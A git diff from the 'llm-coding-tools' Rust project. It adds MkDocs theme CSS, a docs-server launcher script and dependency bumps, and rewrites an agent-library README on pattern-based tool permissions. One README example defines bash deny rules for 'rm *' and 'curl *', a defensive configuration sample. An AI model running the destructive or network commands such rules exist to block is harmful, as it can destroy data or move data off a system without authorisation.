z=M`I?XErO55j9R@4f16w#%dwE)rSq5{~mS8I@%Fd>T?q>XO|SzhSR?D&!-OL)L5Rn z?e-lO@3q}_sQ>Ig@91}IBGl-kB!?c-Zf^u_ z(E?X^J2VmA-73!MuXU|7KyKcj+g->}FHl&o>>g{aZtaMF*wwXar{})x9kEJW6-4>5 zd`=(A9n5#!|9%Nu)uC2xtkQFi(uHS6*>Wziut*84sYKXgm*c^CT~&PCq>LZsRAk5# zuHruEujw|vfG>}KQNVC(CuS&r>Ej763NI`Vv;ynXePJHniA#JS_RGYCfC8|OK9 ztK`j>*U_P8_G;~QThd|QvhbqDkYmqy*PhH@emq!D*P*BlaA5-#KE4b_){-q#t+_63 zw#~D5VPE@|j<$lQ1*RTC|2g^MoS0!@GcR{JHiR zxNBPxo}RmKJtOIdi9+BgKVV;^?7v}|jhN#&K~%i3Kw;u`5AqTJ(#5{ntn?jw#|ld3 HHktniSZ.md-nav__link:hover { + color: var(--md-primary-fg-color--light); +} + +[data-md-color-scheme="reloaded-slate"] .md-nav__link:hover { + color: var(--md-primary-fg-color--light); +} + + +[data-md-color-scheme="reloaded3-slate"] { + /* + Default Variables + */ + + /* For reuse later */ + --md-primary-fg-color-rgb: 63, 153, 217; + + /* Primary color shades */ + --md-primary-fg-color: #fa7774; + --md-primary-fg-color--light: #fc918b; + --md-primary-fg-color--dark: #e96060; + --md-primary-fg-color--darker: #d74f52; + --md-primary-fg-color--darkest: #c53e44; + + --md-primary-bg-color: #FFFFFF; + --md-primary-bg-color--light: #FFFFFFB2; + + /* Accent color shades */ + --md-accent-fg-color: #e96060; + --md-accent-fg-color--transparent: #e9606030; + + --md-accent-bg-color: #2A2C2B; + --md-accent-bg-color--light: #2A2C2B; + + /* + // Slate's hue in the range [0,360] - change this variable to alter the tone + // of the theme, e.g. to make it more redish or greenish. This is a slate- + // specific variable, but the same approach may be adapted to custom themes. + */ + --md-hue: 1; + --nexus-background-primary: #101010; + --nexus-background-secondary: #181818; + --nexus-background-tertiary: #222222; + --nexus-background-content-primary: #1C1C1C; + --nexus-background-content-secondary: #2B2D2F; + + --nexus-font-primary: #FFFFFF; /* #FFFFFF */ + --nexus-font-secondary: #AAAAAA; /* #AAAAAA */ + --nexus-font-tertiary: #5A5A5A; /* #5A5A5A */ + + --nexus-font-primary-rgb: 255, 255, 255; /* #FFFFFF */ + --nexus-font-secondary-rgb: 170, 170, 170; /* #AAAAAA */ + --nexus-font-tertiary-rgb: 90, 90, 90; /* #5A5A5A */ + + /* Default color shades */ + --md-default-fg-color: var(--nexus-font-primary); + --md-default-fg-color--light: var(--nexus-font-secondary); + --md-default-fg-color--lighter: var(--nexus-font-tertiary); + --md-default-fg-color--lightest: rgba(var(--nexus-font-primary-rgb), 0.12); + --md-default-bg-color: var(--nexus-background-secondary); + --md-default-bg-color--light: var(--nexus-background-content-primary); + --md-default-bg-color--lighter: var(--nexus-background-tertiary); + --md-default-bg-color--lightest: var(--nexus-background-content-secondary); + + /* Code color shades */ + --md-code-fg-color: hsla(var(--md-hue), 18%, 86%, 1); + --md-code-bg-color: var(--nexus-background-content-secondary); + + /* Code highlighting color shades */ + --md-code-hl-color: #4287ff26; + --md-code-hl-number-color: hsla(219, 74%, 63%, 1); + --md-code-hl-special-color: hsla(340, 83%, 66%, 1); + --md-code-hl-function-color: hsla(219, 57%, 65%, 1); + --md-code-hl-constant-color: hsla(250, 62%, 70%, 1); + --md-code-hl-keyword-color: hsla(var(--md-hue), 66%, 64%, 1); + --md-code-hl-string-color: hsla(150, 58%, 44%, 1); + --md-code-hl-name-color: var(--md-code-fg-color); + --md-code-hl-operator-color: var(--md-default-fg-color--light); + --md-code-hl-punctuation-color: var(--md-default-fg-color--light); + --md-code-hl-comment-color: var(--md-default-fg-color--light); + --md-code-hl-generic-color: var(--md-default-fg-color--light); + --md-code-hl-variable-color: var(--md-default-fg-color--light); + + /* Typeset color shades */ + --md-typeset-color: var(--md-default-fg-color); + + /* Typeset `a` color shades */ + --md-typeset-a-color: var(--md-primary-fg-color); + + /* Typeset `mark` color shades */ + --md-typeset-mark-color: #4287ff4d; + + /* Typeset `kbd` color shades */ + --md-typeset-kbd-color: hsla(var(--md-hue), 15%, 94%, 0.12); + --md-typeset-kbd-accent-color: hsla(var(--md-hue), 15%, 94%, 0.2); + --md-typeset-kbd-border-color: hsla(var(--md-hue), 15%, 14%, 1); + + /* Typeset `table` color shades */ + --md-typeset-table-color: hsla(var(--md-hue), 75%, 95%, 0.12); + --md-typeset-table-color--light: hsla(var(--md-hue), 75%, 95%, 0.035); + + /* Admonition color shades */ + --md-admonition-fg-color: var(--md-default-fg-color); + --md-admonition-bg-color: var(--md-default-bg-color); + + /* Footer color shades */ + --md-footer-bg-color: var(--nexus-background-primary); + --md-footer-bg-color--dark: var(--nexus-background-primary); + + /* Shadow depth 1 */ + --md-shadow-z1: + 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.2), + 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.1); + + /* Shadow depth 2 */ + --md-shadow-z2: + 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.3), + 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.25); + + /* Shadow depth 3 */ + --md-shadow-z3: + 0 #{px2rem(4px)} #{px2rem(10px)} hsla(0, 0%, 0%, 0.4), + 0 0 #{px2rem(1px)} hsla(0, 0%, 0%, 0.35); + + /* Hide images for light mode */ + img[src$="#only-light"], + img[src$="#gh-light-mode-only"] { + display: none; + } + + /* Show images for dark mode */ + img[src$="#only-dark"], + img[src$="#gh-dark-mode-only"] { + display: initial; + } +} + +[data-md-color-scheme="reloaded3-slate"] .md-header { + background-color: var(--md-primary-fg-color--darker); +} + +@media screen and (max-width: 76.1875em) { + /* Title in Drawer */ + [data-md-color-scheme="reloaded3-slate"] .md-nav--primary .md-nav__title[for=__drawer] { + background-color: var(--md-primary-fg-color--darker); + color: var(--md-primary-bg-color); + font-weight: 700; + } +} + +[data-md-color-scheme="reloaded3-slate"] .md-nav__source { + background-color: var(--md-primary-fg-color--darkest); + color: var(--md-primary-bg-color); +} + +.md-nav__title { + color: var(--md-default-fg-color); +} + +.md-nav__link { + color: var(--md-default-fg-color--light); +} + +/* Custom 'nexus' admonition */ +.md-typeset .admonition.nexus, +.md-typeset details.nexus { + border-color: var(--md-primary-fg-color); +} +.md-typeset .nexus > .admonition-title, +.md-typeset .nexus > summary { + background-color: rgba(var(--md-primary-fg-color-rgb), 0.1); +} +.md-typeset .nexus > .admonition-title::before, +.md-typeset .nexus > summary::before { + background-color: unset; + -webkit-mask-image: unset; + background-image: var(--md-admonition-icon--nexus); + background-size: contain; + background-repeat: no-repeat; + background-position: center; +} + +/* Custom 'nexus heart' admonition */ +.md-typeset .admonition.nexusheart, +.md-typeset details.nexusheart { + border-color: var(--md-primary-fg-color); +} +.md-typeset .nexusheart > .admonition-title, +.md-typeset .nexusheart > summary { + background-color: rgba(var(--md-primary-fg-color-rgb), 0.1); +} +.md-typeset .nexusheart > .admonition-title::before, +.md-typeset .nexusheart > summary::before { + background-color: unset; + -webkit-mask-image: unset; + background-image: var(--md-admonition-icon--nexusheart); + background-size: contain; + background-repeat: no-repeat; + background-position: center; +} + +/* Custom 'reloaded' admonition */ + +.md-typeset .admonition.reloaded, +.md-typeset details.reloaded { + border-color: var(--md-primary-fg-color); +} +.md-typeset .reloaded > .admonition-title, +.md-typeset .reloaded > summary { + background-color: rgba(var(--md-primary-fg-color-rgb), 0.1); +} +.md-typeset .reloaded > .admonition-title::before, +.md-typeset .reloaded > summary::before { + background-color: unset; + -webkit-mask-image: unset; + background-image: var(--md-admonition-icon--reloaded); + background-size: contain; + background-repeat: no-repeat; + background-position: center; +} + +/* Custom 'nexus heart' admonition */ +.md-typeset .admonition.reloadedheart, +.md-typeset details.reloadedheart { + border-color: var(--md-primary-fg-color); +} +.md-typeset .reloadedheart > .admonition-title, +.md-typeset .reloadedheart > summary { + background-color: rgba(var(--md-primary-fg-color-rgb), 0.1); +} +.md-typeset .reloadedheart > .admonition-title::before, +.md-typeset .reloadedheart > summary::before { + background-color: unset; + -webkit-mask-image: unset; + background-image: var(--md-admonition-icon--reloadedheart); + background-size: contain; + background-repeat: no-repeat; + background-position: center; +} + +/* Headers */ +[data-md-color-scheme="nexus-slate"] .md-typeset h1 { + color: var(--md-default-fg-color); + font-family: "Montserrat",Roboto; + font-weight: 600; +} + +[data-md-color-scheme="nexus-slate"] .md-typeset h2 { + color: var(--md-default-fg-color); + font-family: "Montserrat",Roboto; + font-weight: 600; +} + +[data-md-color-scheme="nexus-slate"] .md-typeset h3 { + color: var(--md-default-fg-color); + font-family: "Montserrat",Roboto; + font-weight: 600; +} + +[data-md-color-scheme="nexus-slate"] .md-typeset h4 { + color: var(--md-default-fg-color); + font-family: "Montserrat",Roboto; + font-weight: 600; +} + +[data-md-color-scheme="nexus-slate"] .md-typeset h5 { + color: var(--md-default-fg-color); + font-family: "Montserrat",Roboto; + font-weight: 600; +} + +[data-md-color-scheme="reloaded-slate"] .md-typeset h1 { + color: var(--md-default-fg-color); +} + +[data-md-color-scheme="reloaded3-slate"] .md-typeset h1 { + color: var(--md-default-fg-color); + font-family: "Montserrat",Roboto; + font-weight: 600; +} + +[data-md-color-scheme="reloaded3-slate"] .md-typeset h2 { + color: var(--md-default-fg-color); + font-family: "Montserrat",Roboto; + font-weight: 600; +} + +[data-md-color-scheme="reloaded3-slate"] .md-typeset h3 { + color: var(--md-default-fg-color); + font-family: "Montserrat",Roboto; + font-weight: 600; +} + +[data-md-color-scheme="reloaded3-slate"] .md-typeset h4 { + color: var(--md-default-fg-color); + font-family: "Montserrat",Roboto; + font-weight: 600; +} + +[data-md-color-scheme="reloaded3-slate"] .md-typeset h5 { + color: var(--md-default-fg-color); + font-family: "Montserrat",Roboto; + font-weight: 600; +} \ No newline at end of file diff --git a/docs/start_docs.py b/docs/start_docs.py new file mode 100755 index 00000000..49c96121 --- /dev/null +++ b/docs/start_docs.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python3 +""" +Script to set up virtual environment and start MkDocs live server for documentation. + +Usage: + python start_docs.py # Start docs server + python start_docs.py --docs-dir . # Same as above (explicit) +""" + +import subprocess +import sys +import os +from pathlib import Path + + +def run_command(cmd, cwd=None): + """Run a command and handle errors.""" + print(f"Running: {' '.join(cmd)}") + try: + result = subprocess.run(cmd, cwd=cwd, check=True, capture_output=False) + return result + except subprocess.CalledProcessError as e: + print(f"Error running command: {e}") + sys.exit(1) + + +def main(): + """Main function to set up docs environment.""" + import argparse + + parser = argparse.ArgumentParser(description="Set up documentation environment") + parser.add_argument( + "--docs-dir", + type=str, + help="Documentation directory containing mkdocs.yml (default: script directory)", + ) + parser.add_argument( + "--project-name", + type=str, + default="llm-coding-tools", + help="Project name for messages", + ) + args = parser.parse_args() + + # Use docs directory if provided, otherwise use script directory + if args.docs_dir: + script_dir = Path(args.docs_dir) + else: + script_dir = Path(__file__).parent + + venv_dir = script_dir / "venv" + + print(f"Setting up {args.project_name} documentation...") + + # Create virtual environment if it doesn't exist + if not venv_dir.exists(): + print("Creating virtual environment...") + run_command([sys.executable, "-m", "venv", "venv"], cwd=script_dir) + else: + print("Virtual environment already exists.") + + # Determine the python executable in the venv + if os.name == "nt": # Windows + python_exe = venv_dir / "Scripts" / "python.exe" + pip_exe = venv_dir / "Scripts" / "pip.exe" + else: # Unix-like + python_exe = venv_dir / "bin" / "python" + pip_exe = venv_dir / "bin" / "pip" + + # Install required packages + print("Installing required packages...") + + # Look for requirements.txt in the docs directory + requirements_file = script_dir / "requirements.txt" + if requirements_file.exists(): + print(f"Installing from {requirements_file}...") + run_command( + [str(pip_exe), "install", "-r", str(requirements_file)], cwd=script_dir + ) + else: + print(f"Warning: No requirements.txt found at {requirements_file}") + + # Start MkDocs live server + print("Starting MkDocs live server...") + print( + "Documentation will be available at http://127.0.0.1:8000 (paste into browser address bar)" + ) + print("Press Ctrl+C to stop the server") + run_command( + [str(python_exe), "-m", "mkdocs", "serve", "--livereload"], cwd=script_dir + ) + + +if __name__ == "__main__": + main() diff --git a/src/Cargo.lock b/src/Cargo.lock index b31ee981..2e174bad 100644 --- a/src/Cargo.lock +++ b/src/Cargo.lock @@ -1917,7 +1917,7 @@ dependencies = [ "cesu8", "cfg-if", "combine", - "jni-sys", + "jni-sys 0.3.1", "log", "thiserror 1.0.69", "walkdir", @@ -1926,9 +1926,31 @@ dependencies = [ [[package]] name = "jni-sys" -version = "0.3.0" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41a652e1f9b6e0275df1f15b32661cf0d4b78d4d87ddec5e0c3c20f097433258" +dependencies = [ + "jni-sys 0.4.1", +] + +[[package]] +name = "jni-sys" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" +checksum = "c6377a88cb3910bee9b0fa88d4f42e1d2da8e79915598f65fb0c7ee14c878af2" +dependencies = [ + "jni-sys-macros", +] + +[[package]] +name = "jni-sys-macros" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38c0b942f458fe50cdac086d2f946512305e5631e720728f2a61aabcd47a6264" +dependencies = [ + "quote", + "syn", +] [[package]] name = "jobserver" @@ -2956,7 +2978,7 @@ dependencies = [ "security-framework", "security-framework-sys", "webpki-root-certs", - "windows-sys 0.61.2", + "windows-sys 0.52.0", ] [[package]] @@ -4189,9 +4211,9 @@ dependencies = [ [[package]] name = "webpki-root-certs" -version = "1.0.5" +version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "36a29fc0408b113f68cf32637857ab740edfafdf460c326cd2afaa2d84cc05dc" +checksum = "804f18a4ac2676ffb4e8b5b5fa9ae38af06df08162314f96a68d2a363e21a8ca" dependencies = [ "rustls-pki-types", ] diff --git a/src/llm-coding-tools-agents/ARCHITECTURE.md b/src/llm-coding-tools-agents/ARCHITECTURE.md index d090e58c..dcc8da56 100644 --- a/src/llm-coding-tools-agents/ARCHITECTURE.md +++ b/src/llm-coding-tools-agents/ARCHITECTURE.md @@ -43,7 +43,7 @@ loader.add_directory(&mut catalog, Path::new("agents"))?; // 2. Build the runtime let runtime = AgentRuntimeBuilder::new() .catalog(catalog) - .defaults(AgentDefaults::with_model("openai/gpt-4o")) + .defaults(AgentDefaults::with_model("openai/gpt-5.4")) .build(); // 3. Use the runtime (e.g., look up agents by name) @@ -60,7 +60,7 @@ Agent definitions live in markdown files with YAML frontmatter: name: code-reviewer mode: subagent description: Reviews code and flags high-risk issues -model: openrouter/openai/gpt-4o +model: ollama-cloud/minimax-m2.7 permission: read: allow bash: deny diff --git a/src/llm-coding-tools-agents/Cargo.toml b/src/llm-coding-tools-agents/Cargo.toml index c1f23f33..ded66dea 100644 --- a/src/llm-coding-tools-agents/Cargo.toml +++ b/src/llm-coding-tools-agents/Cargo.toml @@ -2,7 +2,7 @@ name = "llm-coding-tools-agents" version = "0.1.0" edition = "2021" -description = "Agent configuration loading from OpenCode-style markdown files with YAML frontmatter" +description = "Agent configuration loading from markdown files with YAML frontmatter (similar to OpenCode)" repository = "https://github.com/Sewer56/llm-coding-tools" license = "Apache-2.0" include = ["src/**/*", "README.md"] diff --git a/src/llm-coding-tools-agents/README.md b/src/llm-coding-tools-agents/README.md index d3b0da4e..0c4b804b 100644 --- a/src/llm-coding-tools-agents/README.md +++ b/src/llm-coding-tools-agents/README.md @@ -2,10 +2,12 @@ [![Crates.io](https://img.shields.io/crates/v/llm-coding-tools-agents.svg)](https://crates.io/crates/llm-coding-tools-agents) [![Docs.rs](https://docs.rs/llm-coding-tools-agents/badge.svg)](https://docs.rs/llm-coding-tools-agents) -Load agent markdown files compatible with the [OpenCode agent schema]: +Load agent markdown files into a typed catalog with runtime defaults and permission evaluation. -- **Mostly drop-in** - agent files work out of the box -- **One exception** - [default-deny permissions](#️-default-deny-permissions) (OpenCode uses default-allow) +[Documentation] · [API Reference] + +The agent file format mirrors [OpenCode]'s schema - similar enough that many +files are drop-in compatible, but [not identical](#differences-from-opencode). ## Loading agents @@ -30,7 +32,7 @@ for agent in catalog.iter() { Agent files are markdown with YAML frontmatter. -The format is based on OpenCode's agent schema; so fields like [`mode`], +The format is similar to [OpenCode]'s agent schema; so fields like [`mode`], [`model`] and [`permissions`] should be familiar. ### Complete example @@ -56,15 +58,6 @@ You are a code search assistant. Use grep to find relevant files and code patter then read the matching files to extract and summarize the content. ``` -### ⚠️ Default-Deny Permissions - -Unlike OpenCode, this library **denies tools unless explicitly allowed**. - -This is because `llm-coding-tools` was designed towards automation/servers, -where determinism is more valuable. - -For default-allow behaviour, [open a PR]. - ### Frontmatter fields **Required:** @@ -110,12 +103,52 @@ permission: task: allow # Required to delegate to subagents ``` -**Glob patterns in permissions:** Permission values use globs (`*` = one component, `**` = any depth). -Bare `allow` equals `**`. Patterns are workspace-relative. +Several tools support **pattern-based rules** instead of a simple `allow`/`deny`. +Evaluation uses **last-match-wins**: the final matching rule takes effect. + +| Tool(s) | Pattern matches against | Supports patterns | +| ----------------------------- | -------------------------------- | -------------------- | +| read, write, edit, glob, grep | File path (relative or absolute) | yes | +| bash | Command string | yes | +| task | Target agent name | yes | +| webfetch, todoread, todowrite | - | no (allow/deny only) | -**Note:** `task` is special - when omitted, it allows delegation to all callable -subagents for OpenCode compatibility. To disable delegation, explicitly set -`task: deny`. +**File tools** - patterns match against the path as given. Absolute paths +start with `/` or a drive letter like `C:/`. Relative paths have no such +prefix. `**` matches any file at any depth, relative to the workspace root (catch-all). +`*` matches files in the workspace root only. `/**` matches any file on the +system, including other drives on Windows. + +```yaml +permission: + read: + "src/**": allow + "secrets/**": deny + "**": allow +``` + +**Bash** - patterns match against the command string: + +```yaml +permission: + bash: + "rm *": deny + "curl *": deny + "*": allow +``` + +**Task delegation** - patterns match against the target agent name: + +```yaml +permission: + task: + "reader-*": allow + "*": deny +``` + +**Note:** `task` is special - when omitted entirely (not just set to a pattern), +it allows delegation to all callable subagents for [OpenCode] compatibility. +To disable delegation, explicitly set `task: deny`. #### Tool settings @@ -144,20 +177,20 @@ tool_settings: **Setting reference:** -| Tool | Setting | Type | Default | Min | Description | -| -------- | ----------------------- | ----- | -------- | ---- | ------------------------------------------------------- | -| read | `line_numbers` | bool | `true` | — | Show line numbers in output | -| read | `limit` | usize | `2000` | 1 | Max lines per file read | -| read | `max_line_length` | usize | `2000` | 4 | Max characters per line (truncates longer lines) | -| grep | `line_numbers` | bool | `true` | — | Show line numbers in output | -| grep | `limit` | usize | `100` | 1 | Max matches returned | -| grep | `max_line_length` | usize | `2000` | 4 | Max characters per match line | -| glob | `limit` | usize | `1000` | 1 | Max files returned | -| bash | `timeout_ms` | usize | `120000` | 1000 | Default command timeout in milliseconds | -| bash | `max_timeout_ms` | usize | `600000` | * | Maximum timeout LLM can request (must be >= timeout_ms) | -| webfetch | `timeout_ms` | usize | `30000` | 1000 | Fetch timeout in milliseconds | -| webfetch | `max_timeout_ms` | usize | `600000` | * | Maximum timeout LLM can request (must be >= timeout_ms) | -| webfetch | `max_response_size` | usize | `5242880`| 1 | Max response body size in bytes | +| Tool | Setting | Type | Default | Min | Description | +| -------- | ------------------- | ----- | --------- | ---- | ------------------------------------------------------- | +| read | `line_numbers` | bool | `true` | - | Show line numbers in output | +| read | `limit` | usize | `2000` | 1 | Max lines per file read | +| read | `max_line_length` | usize | `2000` | 4 | Max characters per line (truncates longer lines) | +| grep | `line_numbers` | bool | `true` | - | Show line numbers in output | +| grep | `limit` | usize | `100` | 1 | Max matches returned | +| grep | `max_line_length` | usize | `2000` | 4 | Max characters per match line | +| glob | `limit` | usize | `1000` | 1 | Max files returned | +| bash | `timeout_ms` | usize | `120000` | 1000 | Default command timeout in milliseconds | +| bash | `max_timeout_ms` | usize | `600000` | * | Maximum timeout LLM can request (must be >= timeout_ms) | +| webfetch | `timeout_ms` | usize | `30000` | 1000 | Fetch timeout in milliseconds | +| webfetch | `max_timeout_ms` | usize | `600000` | * | Maximum timeout LLM can request (must be >= timeout_ms) | +| webfetch | `max_response_size` | usize | `5242880` | 1 | Max response body size in bytes | **Output format:** @@ -230,7 +263,7 @@ loader.add_directory(&mut catalog, "/home/user/.opencode")?; let runtime = AgentRuntimeBuilder::new() .catalog(catalog) - .defaults(AgentDefaults::with_model("openai/gpt-4o-mini")) + .defaults(AgentDefaults::with_model("openai/gpt-5.4")) // .max_task_depth(5) // optional; defaults to 3 Task hops // .tools(my_custom_tools) // optional; defaults to read/write/edit/glob/grep/bash/webfetch/todoread/todowrite/task .build(); @@ -239,16 +272,37 @@ let runtime = AgentRuntimeBuilder::new() # Ok::<(), llm_coding_tools_agents::AgentLoadError>(()) ``` -## Compatibility notes +## Differences from OpenCode -This library does not provide interactive UX extensions (for example, TUI -approval flows). +The agent file format mirrors [OpenCode]'s. Many files are drop-in +compatible, but there are differences: -To avoid false expectations, settings that require interaction are rejected, -while settings with no runtime effect are accepted and ignored: +### Default-deny permissions + +This library **denies tools unless explicitly allowed**. OpenCode uses +default-allow. This is because `llm-coding-tools` targets +automation/servers, where determinism is more valuable. + +For default-allow behaviour, [open a PR]. + +### File path matching + +File tool patterns (`read`, `write`, `edit`, `glob`, `grep`) match against +the path as given, supporting both absolute (`/home/user/...`, `C:/...`) +and relative paths. OpenCode instead provides `external_directory` for +granting access outside the workspace. This library omits that in favour +of more granular pattern control. + +### Interactive settings + +This library does not provide interactive UX extensions (for example, TUI +approval flows). To avoid false expectations, settings that require +interaction are rejected, while settings with no runtime effect are +accepted and ignored: -- `permission.task: ask` - Rejected with a schema validation error (`allow`/`deny` - only), because `ask` is an interactive approval mode in OpenCode. +- `permission.task: ask` - Rejected with a schema validation error + (`allow`/`deny` only), because `ask` is an interactive approval mode in + [OpenCode]. - `hidden` - Accepted for compatibility, but ignored at runtime. For the internal architecture, see [ARCHITECTURE.md](https://github.com/Sewer56/llm-coding-tools/blob/main/src/llm-coding-tools-agents/ARCHITECTURE.md). @@ -259,3 +313,6 @@ For the internal architecture, see [ARCHITECTURE.md](https://github.com/Sewer56/ [models.dev]: https://models.dev [OpenCode agent schema]: https://opencode.ai/docs/agents/ [open a PR]: https://github.com/Sewer56/llm-coding-tools/pulls +[OpenCode]: https://opencode.ai/ +[Documentation]: https://sewer56.github.io/llm-coding-tools/agents +[API Reference]: https://docs.rs/llm-coding-tools-agents diff --git a/src/llm-coding-tools-agents/benches/fixtures/orchestrator-quality-gate-gpt5.md b/src/llm-coding-tools-agents/benches/fixtures/orchestrator-quality-gate-gpt5.md index 7a99341d..6d1f4294 100644 --- a/src/llm-coding-tools-agents/benches/fixtures/orchestrator-quality-gate-gpt5.md +++ b/src/llm-coding-tools-agents/benches/fixtures/orchestrator-quality-gate-gpt5.md @@ -24,7 +24,7 @@ think hard - `objectives_path` (optional): additional objectives file - Review context from orchestrator: - Task intent (one-line summary) - - Coder's concerns (areas of uncertainty — focus review here) + - Coder's concerns (areas of uncertainty - focus review here) - Related files reviewed by coder # Process @@ -48,7 +48,7 @@ think hard ## 4) Review code semantics -Analyze each changed file deeply. Reason through whether issues exist before concluding — don't just scan for patterns. Be comprehensive; flag anything suspicious. +Analyze each changed file deeply. Reason through whether issues exist before concluding - don't just scan for patterns. Be comprehensive; flag anything suspicious. Severity levels: - CRITICAL: immediate security vulnerabilities, data loss risks, system crashes @@ -64,7 +64,7 @@ Severity levels: ## 5) Review coder concerns If the coder flagged concerns, examine those areas with extra scrutiny. -These are areas where the implementer was uncertain — validate the approach or flag issues. +These are areas where the implementer was uncertain - validate the approach or flag issues. ## 6) Review objectives - Read all objectives from prompt file @@ -96,12 +96,12 @@ Provide this exact structure in the final message: # QUALITY GATE REPORT (GPT-5) ## Summary -[PASS|PARTIAL|FAIL] — X files, C critical, H high, M medium, L low +[PASS|PARTIAL|FAIL] - X files, C critical, H high, M medium, L low ## Objectives ### "Objective description" -[MET|NOT_MET|PARTIAL] — evidence: file:line or explanation +[MET|NOT_MET|PARTIAL] - evidence: file:line or explanation Issue: ... (if not met) Suggestion: ... (if not met) @@ -114,7 +114,7 @@ Description of issue ## Code Review Findings -### path/to/file:line — Title +### path/to/file:line - Title [SECURITY|CORRECTNESS|PERFORMANCE|ERROR_HANDLING|ARCHITECTURE|CROSS_FILE] [CRITICAL|HIGH|MEDIUM|LOW] Detailed explanation of the problem and why it matters **Impact:** What could go wrong @@ -124,7 +124,7 @@ Detailed explanation of the problem and why it matters ``` ## Test Issues -[basic|no] — [PASS|FAIL|FORBIDDEN_TESTS_FOUND] +[basic|no] - [PASS|FAIL|FORBIDDEN_TESTS_FOUND] ### path/to/test:line [DUPLICATE|NON_DETERMINISTIC|MISSING_COVERAGE|OVERENGINEERED] @@ -133,19 +133,19 @@ Description ## Verification Checks ### Formatting -[PASS|FAIL] — X issues +[PASS|FAIL] - X issues Details if failed ### Linting -[PASS|FAIL] — X errors, Y warnings +[PASS|FAIL] - X errors, Y warnings Details if failed ### Type/Build -[PASS|FAIL] — X errors +[PASS|FAIL] - X errors Details if failed ### Tests -[PASS|FAIL|SKIPPED|FORBIDDEN_TESTS_FOUND] — X passed, Y failed +[PASS|FAIL|SKIPPED|FORBIDDEN_TESTS_FOUND] - X passed, Y failed Details if failed ## Recommendation diff --git a/src/llm-coding-tools-agents/src/loader.rs b/src/llm-coding-tools-agents/src/loader.rs index 93596712..bdfc4ea0 100644 --- a/src/llm-coding-tools-agents/src/loader.rs +++ b/src/llm-coding-tools-agents/src/loader.rs @@ -82,7 +82,7 @@ impl AgentLoader { /// /// # Errors /// - Returns [`AgentLoadError::Io`] when the path exists but is not a directory. - /// Walk errors (permissions, etc.) may be silently skipped by [`load_directory_with`] + /// Walk errors (permissions, etc.) may be silently skipped by `load_directory_with` /// and are not guaranteed to surface as [`AgentLoadError::Io`]. pub fn add_directory( &self, @@ -105,7 +105,7 @@ impl AgentLoader { /// /// # Errors /// - Returns [`AgentLoadError::Io`] when the path exists but is not a directory. - /// Walk errors (permissions, etc.) may be silently skipped by [`load_directory_with`] + /// Walk errors (permissions, etc.) may be silently skipped by `load_directory_with` /// and are not guaranteed to surface as [`AgentLoadError::Io`]. /// - Individual file parse/validation failures are reported via `on_error` and do not fail the operation. pub fn add_directory_with_errors( diff --git a/src/llm-coding-tools-agents/src/runtime/mod.rs b/src/llm-coding-tools-agents/src/runtime/mod.rs index 9f18208e..a0e990a5 100644 --- a/src/llm-coding-tools-agents/src/runtime/mod.rs +++ b/src/llm-coding-tools-agents/src/runtime/mod.rs @@ -33,7 +33,7 @@ //! # fn main() -> Result<(), Box> { //! let runtime = AgentRuntimeBuilder::new() //! .catalog(AgentCatalog::new()) -//! .defaults(AgentDefaults::with_model("openai/gpt-4o")) +//! .defaults(AgentDefaults::with_model("openai/gpt-5.4")) //! .build()?; //! //! assert!(runtime.catalog().iter().count() == 0); diff --git a/src/llm-coding-tools-agents/src/runtime/model.rs b/src/llm-coding-tools-agents/src/runtime/model.rs index a6c65533..d3d00be8 100644 --- a/src/llm-coding-tools-agents/src/runtime/model.rs +++ b/src/llm-coding-tools-agents/src/runtime/model.rs @@ -17,8 +17,8 @@ //! //! # Identifier Format //! -//! Models use `provider/model-id` format, like `openai/gpt-4o` or -//! `openrouter/anthropic/claude-3-5-sonnet`. Invalid formats (missing `/` +//! Models use `provider/model-id` format, like `openai/gpt-5.4` or +//! `ollama-cloud/minimax-m2.7`. Invalid formats (missing `/` //! or empty segments) produce [`ModelResolutionError::MalformedModelIdentifier`]. //! //! # Validation @@ -196,9 +196,9 @@ pub fn resolve_model_with_catalog( /// # Examples /// /// ```text -/// Agent has its own model set: "openai/gpt-4o" -/// Defaults also has a model set: "anthropic/claude-3-5-sonnet" -/// Result: ("openai", "gpt-4o", "agent override") +/// Agent has its own model set: "openai/gpt-5.4" +/// Defaults also has a model set: "ollama-cloud/minimax-m2.7" +/// Result: ("openai", "gpt-5.4", "agent override") /// The agent's model wins because it was set directly. /// ``` /// diff --git a/src/llm-coding-tools-bubblewrap/ARCHITECTURE.md b/src/llm-coding-tools-bubblewrap/ARCHITECTURE.md index 061f6715..3137c182 100644 --- a/src/llm-coding-tools-bubblewrap/ARCHITECTURE.md +++ b/src/llm-coding-tools-bubblewrap/ARCHITECTURE.md @@ -1,6 +1,6 @@ # Architecture: llm-coding-tools-bubblewrap -Linux-only library that builds bubblewrap sandbox profiles, probes host +Linux-only library that builds [bubblewrap] sandbox profiles, probes host capabilities, and produces wrapped command lines. For the security model, see [SANDBOX-PROFILES.md](../../SANDBOX-PROFILES.md). @@ -20,7 +20,7 @@ llm-coding-tools-bubblewrap │ ├── factory.rs create_sandbox, create_sandbox_with, create_temp_sandbox, SandboxDirs, CreateSandboxError, TempSandboxDirs │ ├── presets.rs public_bot() & trusted_maintenance() constructors │ ├── validation.rs path/symlink/env/tmp validators -│ └── layout.rs SandboxLayout — "is this host path visible inside?" +│ └── layout.rs SandboxLayout - "is this host path visible inside?" ├── wrap/ │ ├── mod.rs module root; cfg(feature) gates, re-exports │ ├── command.rs wrap_command → LinuxBwrapWrappedCommand @@ -121,7 +121,7 @@ inside the sandbox. `probe_backend_uncached()` spawns `bwrap --version` then a minimal sandbox to verify namespace support. `probe_backend()` caches results in a `OnceLock>` -keyed on `$PATH` — a changed PATH invalidates the cache. +keyed on `$PATH` - a changed PATH invalidates the cache. Shell search order: `bash` on PATH → `sh` on PATH → hardcoded candidates (Nix, FHS) → deduplicated by resolved path. @@ -155,3 +155,5 @@ Both execution adapters set stdin=null, stdout/stderr=piped, and 